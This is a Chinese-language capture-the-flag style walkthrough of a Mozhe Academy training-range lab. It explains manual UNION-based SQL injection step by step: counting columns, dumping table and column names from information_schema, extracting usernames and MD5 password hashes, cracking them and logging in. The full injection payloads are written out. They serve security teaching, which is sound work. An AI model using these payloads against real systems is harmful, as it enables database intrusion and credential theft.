靶场:https://www.mozhe/bug/detail/82

1.点击滚动的通知:

页面跳转至:

2.判断是否为注入点。

发现这是一个注入点。

3.判断字段数量。
从10开始,采用二分法,直至确定字段数量为4:

4.判断可显字段。

输入联合查询语句以后,发现页面还是显示的之前的内容,于是让它原本的语句错误,这样它就不显示之前的页面了:

可以看到,可显字段为第二个和第三个。

5.爆出用户名和数据库名。

6.根据已经得到的数据库名爆出表名。
页面提交:id=1 and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema =“mozhe_Discuz_StormGroup”

group_concat()函数是显示字段的所有内容。所以可知的是,mozhe_Discuz_StormGroup库中有两个表StormGroup_member,notice。

7.根据已经得到的表名爆出字段名。
页面提交:id=1 and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name =“StormGroup_member”

8.爆出用户名和密码。
页面提交:id=1 and 1=2 union select 1,name,password,4 from StormGroup_member

注意:1.如果页面没有显示用户名和密码,有可能是编码的问题,输入id=1 and 1=2 union select 1,unhex(hex(name)),unhex(hex(password)),4 from StormGroup_member即可。
2.密码是经过MD5加密的,需要解密才能提交。

9.解密后登录。

但是输入后有误,说明我们于是返回上一步,显示所有的用户名和密码:

果然,刚才漏掉了一个。

10.登录后,拿到key。

更多推荐

零基础学习手工SQL注入(墨者学院靶场)